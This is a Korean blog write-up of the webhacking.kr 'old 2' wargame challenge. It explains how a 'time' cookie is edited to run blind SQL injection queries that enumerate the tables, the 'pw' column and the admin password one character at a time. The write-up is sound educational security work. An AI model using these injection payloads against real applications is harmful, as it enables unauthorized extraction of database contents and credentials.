webhacking.kr 2번 풀이

음 아이피 활용 문제인 거 같다.
일단 소스보기 링크가 없으니 알아서 봐보자
ctrl+shift+i --> 개발자도구 열기

'if you access admin.php i will kick your ass'
자 그럼 바로 admin.php에 접속해보자


secret password를 입력하면 해결되는 문제인 거 같다.
여기서도 개발자도구를 활용해 소스코드를 봤지만 건질 게 없엇다.ㅠ
단서는 바로 이전 페이지의 주석으로 된 시간에 있었다.

쿠키도 한번 봐주자

time이라는 쿠키가 들어있다.
https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=ko
EditThisCookie
EditThisCookie는 쿠키 관리자입니다. 이것을 이용하여 쿠키를 추가하고, 삭제하고, 편집하고, 찾고, 보호하거나 막을 수 있습니다!
chrome.google.com
위의 프로그램을 이용해 time 쿠키를 1로 바꿔보자

time 에 들어가는 쿠키값이 시간주석에 나타나는 구조 인 거 같아요
자 이제 여러가지 시도를 해봅시다
3 --> 3 출력
1+1 --> 출력X
2=2 --> 1 출력
2=3 --> 0 출력
2>1 --> 1 출력
time 안의 구문이 참이면 1을 출력하고 숫자가 오면 숫자 그대로 출력한다는 걸 알게 됬다.
여기서 필요한건 바로 Blind SQL Injection!
자세한 설명은..
Blind SQL Injection (블라인드 SQL 인젝션) 공격
SQL 인젝션 공격에서 Blind SQL 인젝션 공격이 있다. 정보를 직접적으로 알수는 없더라도 True/False값을 통해 정보를 알아내는 공격이다. 아이디를 입력했을 때 사용자의 정보를 알려주는것이 아니라
hyotwo.tistory.com
우리는 db에 있는 데이터들을 알아내기 위해 SQL을 사용해야 하는데, 먼저 db에 몇개의 table이 있는지 알아보자
SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database()

SQL 단어 설명(SQL은 대소문자 구분을 하지 않는다)
1. COUNT: 대표적인 집계함수
<SELECT COUNT(집합) FROM 테이블명 WHERE 조건식>
2. INFORMATION_SCHEMA: MySQL 서버가 운영하는 모든 다른 데이터베이스에 대한 정보를 저장하는 곳
[MySQL]information_schema란 ? (정의 및 테이블 종류)
information_schema란 ? INFORMATION_SCHEMA란 MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB다. INFORMATION_SCHEMA 데이터베이스 내의 모든 테이블은 읽기 전용..
rk1993.tistory.com

2가 출력된걸로 보다 테이블은 2개인 걸 알 수 있다!
그럼 첫번째 테이블의 이름을 알아보자(노가다의 시작..)
그전에 테이블명의 길이를 보자
(SELECT length(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1)
SQL 단어 설명
1. length: 문자열 길이를 출력한다.
https://lcs1245.tistory.com/entry/SQL-%EB%AC%B8%EC%9E%90%EC%97%B4-%EA%B8%B8%EC%9D%B4-%EC%B6%9C%EB%A0%A5-%ED%95%A8%EC%88%98-LENGTH-CHARLENGTH-LEN-DATALENGTH-LENGTHB
SQL 문자열 길이 출력 함수 - LENGTH / CHAR_LENGTH / LEN / DATALENGTH / LENGTHB
문자열의 길이를 출력하는 함수들에 대해 포스팅하겠습니다 ++ ORACLE에서는 LENGTH( ) 함수가 아래의 CHAR_LENGTH( )의 역할을 합니다 ++ ORACLE에서는 LENGTHB( ) 함수가 아래의 LENGTH( )의 역할을 합니다 ++..
lcs1245.tistory.com
2. LIMIT: 갯수 제한 키워드
LIMIT(A, B): A부터 시작, B는 개수를 의미한다. limit 0,1은 첫 번째부터 1개의 레코드를 의미한다.

다음으로 테이블명을 알아보자
(SELECT ascii(substring(table_name, 1, 1)) FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1)
SQL 단어 설명
1. ascii(C): 인수 C의 첫 문자를 아스키 코드로 변환
2. substring=SUBSTR(c, m ,n) : 인수 c의 m번째부터 n개 문자를 잘라낸다. n이 생략되면 c의 끝까지를 잘라냄

아스키코드에서 97에 해당하는 문자는 'a'이다. 두번째 문자를 찾기 위해서
substring(table_name, 1, 1) 대신에 substring(table_name, 2, 1)을 넣어주면 된다.
그렇게 해서 구한 테이블명은 'admin_area_pw', 'log' 이다.
다음은 column갯수을 알아보자.
느낌상 첫번쨰 테이블(admin_area_pw)에 비밀번호가 있을 거 같다.
(SELECT count(column_name) FROM information_schema.columns WHERE table_name="admin_area_pw")
결과상 1이 출력된다(와 1개다 너무좋아)
다음으로 그 column의 길이+이름을 일아보자
(SELECT length(column_name) FROM information_schema.columns WHERE table_name="admin_area_pw")
길이=2
(SELECT ascii(substring(column_name, 1, 1)) FROM information_schema.columns WHERE table_name="admin_area_pw")
첫번쨰 글자=p
두번째 글자=w
느낌이 빡 오네 pw라는 column안의 데이터가 바로 password다.
(끝이 보인다.. 드디어)
다음으로 pw의 길이를 알아보자
(SELECT length(pw) FROM admin_area_pw)
길이=17
....?

pw를 알아보자..
(SELECT ascii(substring(pw, 1, 1)) FROM admin_area_pw)
첫번째 글자=k
이 다음부턴 각자 해본다.
그렇게 나온 값을 password값에 입력하면 문제는 해결된다.
이렇게 노가다를 해도 되고 (사실 그렇게 긴 길이도 아니라서 난 노가다를 했다. )
파이썬으로 코드를 짜서 실행해도 된다.
나는 아직 초짜기 때문에 다른 분의 블로그를 보고 배웠다. 혹시 파이썬을 사용하실 줄 안다면 코드를 짜는 것도 좋을 거 같다.
파이썬으로 문제풀기 ---> https://m.blog.naver.com/nunub0t/221769017265
[Webhacking.kr] old 2번 문제풀이
2번 문제로 접속하면 이런 페이지가 나온다. 소스보기로 살펴보자 주석으로 시간이 나오고, admin.php로 접...
blog.naver.com